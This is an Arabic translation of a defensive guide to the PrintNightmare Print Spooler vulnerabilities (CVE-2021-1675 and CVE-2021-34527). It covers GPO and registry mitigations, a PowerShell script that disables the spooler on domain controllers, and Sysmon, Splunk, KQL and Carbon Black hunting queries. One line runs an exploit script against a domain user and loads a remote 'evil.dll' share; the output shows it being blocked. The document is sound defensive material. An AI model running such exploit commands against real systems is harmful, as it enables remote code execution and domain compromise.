
CVE-2021-1675 معلومات الاكتشاف
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
يحتوي هذا المستودع على عينة EVTX لهجوم CVE-2021-1675 و CVE-2021-34527 بالإضافة إلى ملف تكوين Sysmon بسيط يمكن استخدامه لتوليد القياسات عن بُعد ذات الصلة.
يرجى ملاحظة أنه قد يتم تجاوز هذه القواعد - يرجى تطبيق التصحيح حسب الاقتضاء وتعطيل خدمة طابعة التخزين المؤقت (Print Spooler) على وحدات التحكم بالمجال.
يرجى اختبار جميع الإصلاحات الموصى بها قبل النشر في الإنتاج حيث قد تكون هناك عواقب غير مقصودة نتيجة لتغييرات التصلب هذه. لقد كتبنا منشورًا في المدونة يشرح محتوى هذا المستودع والمعلومات الموجودة. هنا: https://labs.lares.com/detection-and-mitigation-printnightmare/
بفضل Benjamin Delpy، يوجد مخطط تدفق محدث حول قابلية استغلال هذه المشكلة لتحديد ما إذا كانت أنظمتك عرضة للخطر على الأرجح.

Security Settings -> System Services -> Print Spooler -> Disable
HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections - > Disable
HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2Printers -> Point and Print Restrictions -> Security Prompts -> When installing drivers for a new connection -> Show warning and elevation prompt
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1التصحيح الذي أصدرته Microsoft في يونيو 2021 يصلح CVE-2021-1675 لكنه للأسف لا يصلح المشكلة المعروفة باسم PrintNighmare(CVE-2021-34527)، لذلك يمكن تطبيق إصلاح بديل عن طريق تعطيل خدمة طابعة التخزين المؤقت. إليك كيفية القيام بذلك على كل من GPO و PowerShell. تم تأكيد أن سياسة GPO تصلح كلاً من دالة MS-RPRN RpcAddPrinterDriverEx ودالة Win32 AddPrinterDriverEx التي يستخدمها SharpPrintNightmare.
يمكن تعيين سياسة GPO التالية لرفض اتصالات العملاء بمخزن الطباعة، وهو حل بديل محتمل عندما لا يكون تعطيل خدمة مخزن الطباعة بالكامل خيارًا متاحًا. تم اختبار ذلك ضد وحدات تحكم المجال ونقاط النهاية (W7/W10) في بيئة مختبرية ولا يزال بإمكان المستخدمين إضافة/إزالة الطابعات والطباعة ولكنه يمنع استغلال الثغرة. ملاحظة: من المفهوم أيضًا أن سياسة GPO هذه تصلح أيضًا CVE-2021-34527 كما هو مذكور في صفحة الثغرات من Microsoft.
Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections
اضبط هذا على Disabled:

ثم أعد تشغيل خدمة مخزن الطباعة على المضيف المتأثر. إذا سارت الأمور بشكل جيد، سيتم رفض الوصول للاستغلال:
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll' 1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed
إصلاح/حل بديل آخر هو إزالة المستخدمين المصادق عليهم من Pre-Windows 2000 Compatible Access كما اكتشف Dirk-jan.

تأكد من أن مجموعة "Authenticated Users" ليست عضوًا في مجموعة "Pre-Windows 2000 Compatible Access". (افتراضيًا، لا يتم تضمين هذه المجموعات في إصدارات Windows الحالية.) كما هو موضح في لقطة الشاشة أدناه، يجب ألا يكون هناك أعضاء:

إذا كنت في شك حول كيفية القيام بذلك، يمكن اتخاذ الخطوات التالية:
تم تعديل نص 0gtweet لاستخدام ADDomainController لجلب جميع وحدات تحكم المجال من المجال
# the script STOP and DISABLES Print Spooler service (aka #PrintNightmare) on each server from the list below IF ONLY DEFAULT PRINTERS EXIST.
# revert if you need: go to services.msc, find the "print spooler" service, change startup type to "automatic" and start the service.
# Source: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requirements RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory
$computers = Get-ADDomainController -filter * | %{ $_.name }
foreach ($computer in $computers)
{
Write-Host "Processing $computer ..."
$service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
if (!$service)
{
Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
continue
}
if ($service.Status -ne "Running")
{
Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
continue
}
$printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
if (!$printers)
{
Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
continue
}
$disableSpooler = $true
foreach ($DriverName in ($printers.DriverName))
{
if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
{
Write-Host " Printer found: $DriverName" -ForegroundColor Green
$disableSpooler = $false
}
}
if ($disableSpooler)
{
Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
(Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose
}
else
{
Write-Host "Non-default printers found. Skipping." -ForegroundColor Green
}
}
يمكن تثبيت ملف تكوين Sysmon المقدم CVE-2021-1675.xml باستخدام Sysmon Config Pusher: https://github.com/LaresLLC/SysmonConfigPusher
index=sysmon EventCode=7 Image="C:\\Windows\\System32\\spoolsv.exe" NOT (Signature="Microsoft Windows" SignatureStatus=Valid)
| stats values(ImageLoaded),values(TargetObject),values(Details),values(TargetFilename)
طريقة عامة لصيد استغلال مخزن الطباعة هي البحث عن أخطاء يتم إنشاؤها بواسطة مخزن الطباعة بسبب تحميل DLL للحمولة. يمكن القيام بذلك إما عن طريق البحث عن ظهور WerFault.exe عن طريق spoolsv.exe أو إنشاء Event ID 7031 الذي يظهر إنهاء غير متوقع لخدمة مخزن الطباعة.
((index=sysmon EventCode=1
ParentImage="C:\\Windows\\System32\\spoolsv.exe" Image="C:\\Windows\\System32\\WerFault.exe")
OR (index=windows Channel=System EventCode=7031
Message="The Print Spooler service terminated unexpectedly"))
بعد عدة اختبارات لاستغلال تطبيق cube0x0 تم العثور على أثر إضافي: Event ID 5145 مع Share Name: \\*\IPC$ و Relative Target Name: spoolss. مزايا هذا النهج هي أنه يمكنك رؤية IP المصدر (Source Address) والحساب (Security ID أو Account Name) الذي تم استخدامه لتنفيذ الهجوم. قد تكون هناك نتائج إيجابية خاطئة من خوادم طباعة حقيقية، ولكن يمكن تصفيتها بواسطة اسم المضيف و Access Mask. قد تكون هناك نتائج إيجابية خاطئة أخرى يمكن تصفيتها بواسطة مجموعة hostname-username-access mask.
index=windows_security EventCode=5145 Share_Name="\\\\*\\IPC$" Relative_Target_Name=spoolss
let serverlist=DeviceInfo
| where DeviceType != "Workstation"
| distinct DeviceId;
let suspiciousdrivers=DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers"
| distinct SHA1
| invoke FileProfile(SHA1, 1000)
| where GlobalPrevalence < 50 and IsRootSignerMicrosoft != 1 and SignatureState != "SignedValid";
suspiciousdrivers
| join kind=inner (DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers") on SHA1
| where InitiatingProcessFileName != "ccmexec.exe"
المصدر: https://twitter.com/olafhartong/status/1410229699993874442




المصدر: https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery/blob/main/README.md
filemod_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\123
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND parent_cmdline:spoolsv\.exe
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND process_name:spoolsv\.exe
process_name:spoolsv\.exe AND NOT filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED
process_name:spoolsv\.exe AND filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED AND NOT filemod_publisher:"Microsoft Windows*"
تغريدات تويتر تشير إلى الهجمات واستعلامات الصيد
ملاحظات وحدة تحكم المجال مقابل غير وحدة تحكم المجال عبر Benjamin Delpy:
مخطط تدفق مفيد جدًا عبر Stan Hegt من Outflank
تعيين CVE جديد من Microsoft:
يوميات SANS ICS: